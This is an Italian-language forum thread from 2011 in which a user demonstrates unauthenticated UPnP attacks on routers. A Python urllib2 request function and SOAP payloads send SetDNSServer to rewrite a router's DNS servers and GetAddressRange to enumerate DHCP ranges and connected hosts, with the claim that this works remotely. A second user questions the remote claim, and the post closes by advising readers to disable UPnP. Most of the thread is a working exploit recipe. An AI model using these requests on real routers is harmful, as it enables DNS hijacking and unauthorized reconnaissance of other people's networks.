Router with UpnP Information Disclosure

Started by clshack, February 01, 2011, 04:21:07 PM

Previous topic - Next topic

clshack

In questi giorni stavo studiando un po' il protocollo upnp :P
Di questo tipo:
"RomPager/4.* UPnP/1.0"

Dove se upnp è attivo, senza autentificandone si possono avere una serie di informazioni utili in alcuni casi è possibile la modifica di parametri nel router, ripeto SENZA autentificandone [dns attack o.O ]
Non sto parlando del semplice fatto pericolosissimo che se un router ha upnp attivo un virus si può aprire le porte.. ormai questa cosa non viene quasi più sfruttata e si usano reverse connection..

Un software che vi consiglio per testare la sicurezza del vostro router è miranda...
Ma a me non va XD e non va neanche su molti router quindi vediamo come giocae con il protocollo upnp in python dei router con il software sopracitato.

Prima funzione in python per le richieste:
import urllib2
def requestPOST(url,data,headers):
try:
req = urllib2.Request(url, data, headers)
f=urllib2.urlopen(req);
html=f.read();
except urllib2.HTTPError, e:
return str(e);
except URLError, e:
return str(e);
f.close();
return html


Dovremo passargli l'url del router..
esempio:
url="http://192.168.1.1/UD/?4"
Gli headers upnp:
headers={"SOAPAction": "urn:schemas-upnp-org:service:LANHostConfigManagement:1#SetDNSServer","User-Agent":"UpnP-Fuck"}
Dove:
LANHostConfigManagement:1 è il servizio... mentre
#SetDNSServer la funzione da eseguire...

Mentre i dati da passare, contengono il servizio su cui agire... la funzione e i parametri da gestire:
<NewDNSServers></NewDNSServers>
data="""
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:SetDNSServer xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1">
<NewDNSServers>8.8.8.8</NewDNSServers>
</u:SetDNSServer>
</s:Body>
</s:Envelope>
"""


Su molti router questa funzione non va come molte altre... vi restituirà un errore 402 o 500 invalid arguments... non chiedetemi il perchèè ... sarà disattivata ...

Mentre su altri andrà da dio :D

Questa funzione io l'ho presa da:
LanHostCfgMgmt.xml

Che è un file dentro al mio router...che ho ricavato con miranda...
Dentro questo file ci sono elencate molte funzioni .. talvota sono quelle del template upnp...  ma vi poso assicurare che le get sono uasi tutte attive.. perciò se vogliamo sapere gli indirizzi dhcp ci basta un:
data="""
<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetAddressRange xmlns:u="urn:schemas-upnp-org:service:LANHostConfigManagement:1">

</u:GetAddressRange>
</s:Body>
</s:Envelope>
"""

Da qui si possono enumerare gli user connessi al router gli ip riservati le porte aperte e molto altro ancora ... tutto questo anche da remoto :P

Quindi vi consiglio di disattivare l'upnp :P

Emilio

Ciau alessio,
anche io ci giocai un po di tempo fa e mi stupì il fatto che una funzionalità così importante fosse implementata senza autenticazione. Cmq cosa intendi dire con

Quote from: clshack on February 01, 2011, 04:21:07 PMDa qui si possono enumerare gli user connessi al router gli ip riservati le porte aperte e molto altro ancora ... tutto questo anche da remoto :P

? Naturalmente il demone upnp risponde solo verso l'interno della lan, non verso l'esterno, in modo che da remoto nessuno possa pacioccare con il router di nessun altro. Spero. : D

clshack

Quote from: Emilio on February 01, 2011, 04:29:47 PM
Ciau alessio,
anche io ci giocai un po di tempo fa e mi stupì il fatto che una funzionalità così importante fosse implementata senza autenticazione. Cmq cosa intendi dire con

Quote from: clshack on February 01, 2011, 04:21:07 PMDa qui si possono enumerare gli user connessi al router gli ip riservati le porte aperte e molto altro ancora ... tutto questo anche da remoto :P

? Naturalmente il demone upnp risponde solo verso l'interno della lan, non verso l'esterno, in modo che da remoto nessuno possa pacioccare con il router di nessun altro. Spero. : D

Risponde anche all'esterno con gli ip locali di chi è connesso :) informazioni molto utili :D